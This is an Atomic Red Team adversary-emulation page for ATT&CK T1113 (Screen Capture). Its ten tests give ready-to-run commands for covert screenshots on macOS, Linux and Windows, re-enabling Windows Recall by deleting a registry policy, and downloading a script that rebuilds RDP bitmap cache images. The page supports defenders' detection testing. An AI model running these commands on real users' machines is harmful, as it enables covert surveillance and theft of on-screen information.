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T1113 - Screen Capture

Description from ATT&CK

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

Source

Atomic Tests

Atomic Test #1: Screencapture

Use screencapture command to collect a full desktop screenshot

Supported Platforms: macOS

auto_generated_guid: 0f47ceb1-720f-4275-96b8-21f0562217ac

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.png

Attack Commands: Run with bash!

screencapture #{output_file}

Cleanup Commands

rm #{output_file}

Atomic Test #2: Screencapture (silent)

Use screencapture command to collect a full desktop screenshot

Supported Platforms: macOS

auto_generated_guid: deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.png

Attack Commands: Run with bash!

screencapture -x #{output_file}

Cleanup Commands

rm #{output_file}

Atomic Test #3: X Windows Capture

Use xwd command to collect a full desktop screenshot and review file with xwud

Supported Platforms: Linux

auto_generated_guid: 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.xwd
package_checker Package checking command for linux. Debian system command- dpkg -s x11-apps string rpm -q xorg-x11-apps
package_installer Package installer command for linux. Debian system command- apt-get install x11-apps string yum install -y xorg-x11-apps

Attack Commands: Run with bash!

xwd -root -out #{output_file}
xwud -in #{output_file}

Cleanup Commands

rm #{output_file}

Dependencies: Run with bash!

Description: Package with XWD and XWUD must exist on device
Check Prereq Commands
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands
sudo #{package_installer}

Atomic Test #4: X Windows Capture (freebsd)

Use xwd command to collect a full desktop screenshot and review file with xwud

Supported Platforms: Linux

auto_generated_guid: 562f3bc2-74e8-46c5-95c7-0e01f9ccc65c

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.xwd

Attack Commands: Run with sh!

xwd -root -out #{output_file}
xwud -in #{output_file}

Cleanup Commands

rm #{output_file}

Dependencies: Run with sh!

Description: Package with XWD and XWUD must exist on device
Check Prereq Commands
if [ -x "$(command -v xwd)" ]; then exit 0; else exit 1; fi
if [ -x "$(command -v xwud)" ]; then exit 0; else exit 1; fi
Get Prereq Commands
pkg install -y xwd xwud

Atomic Test #5: Capture Linux Desktop using Import Tool

Use import command from ImageMagick to collect a full desktop screenshot

Supported Platforms: Linux

auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.png

Attack Commands: Run with bash!

import -window root #{output_file}

Cleanup Commands

rm #{output_file}

Dependencies: Run with bash!

Description: ImageMagick must be installed
Check Prereq Commands
if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi
Get Prereq Commands
sudo apt install graphicsmagick-imagemagick-compat

Atomic Test #6: Capture Linux Desktop using Import Tool (freebsd)

Use import command from ImageMagick to collect a full desktop screenshot

Supported Platforms: Linux

auto_generated_guid: 18397d87-38aa-4443-a098-8a48a8ca5d8d

Inputs

Name Description Type Default Value
output_file Output file path path /tmp/T1113_desktop.png

Attack Commands: Run with sh!

import -window root #{output_file}

Cleanup Commands

rm #{output_file}

Dependencies: Run with sh!

Description: ImageMagick must be installed
Check Prereq Commands
if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi
Get Prereq Commands
pkg install -y ImageMagick7

Atomic Test #7: Windows Screencapture

Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour

Supported Platforms: Windows

auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153

Inputs

Name Description Type Default Value
output_file Output file path path c:\temp\T1113_desktop.zip
recording_time Time to take screenshots integer 5

Attack Commands: Run with powershell!

cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;
[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"

Cleanup Commands

rm #{output_file} -ErrorAction Ignore

Atomic Test #8: Windows Screen Capture (CopyFromScreen)

Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API. [Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen

Supported Platforms: Windows

auto_generated_guid: e9313014-985a-48ef-80d9-cde604ffc187

Inputs

Name Description Type Default Value
output_file Path where captured results will be placed path $env:TEMP\T1113.png

Attack Commands: Run with powershell!

Add-Type -AssemblyName System.Windows.Forms
$screen = [Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
$graphic = [Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save("#{output_file}")

Cleanup Commands

Remove-Item #{output_file} -ErrorAction Ignore

Atomic Test #9: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Supported Platforms: Windows

auto_generated_guid: 5a496325-0115-4274-8eb9-755b649ad0fb

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f
reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f

Cleanup Commands

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f

Atomic Test #10: RDP Bitmap Cache Extraction via bmc-tools

Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script. This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).

Supported Platforms: Windows

auto_generated_guid: 98f19852-7348-4f99-9e15-6ff4320464c7

Inputs

Name Description Type Default Value
cache_path Path to the RDP Cache directory or specific .bmc file path $env:LOCALAPPDATA\Microsoft\Terminal Server Client\Cache
output_dir Directory to save reconstructed images path $env:TEMP\rdp_screens

Attack Commands: Run with powershell!

$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py'
$toolsDir = "$env:TEMP\bmc-tools.py"
 
# create output directory
New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null

# python script download
& curl.exe -L $url --output $toolsDir
 
# execution step
if (Test-Path $toolsDir) { python $toolsDir -s "#{cache_path}" -d #{output_dir} -b }

Cleanup Commands

Remove-Item "$env:TEMP\bmc-tools.py" -ErrorAction SilentlyContinue
Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: Python must be installed and in the PATH to run bmc-tools.py
Check Prereq Commands
if (Get-Command python -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "Please install Python manually."
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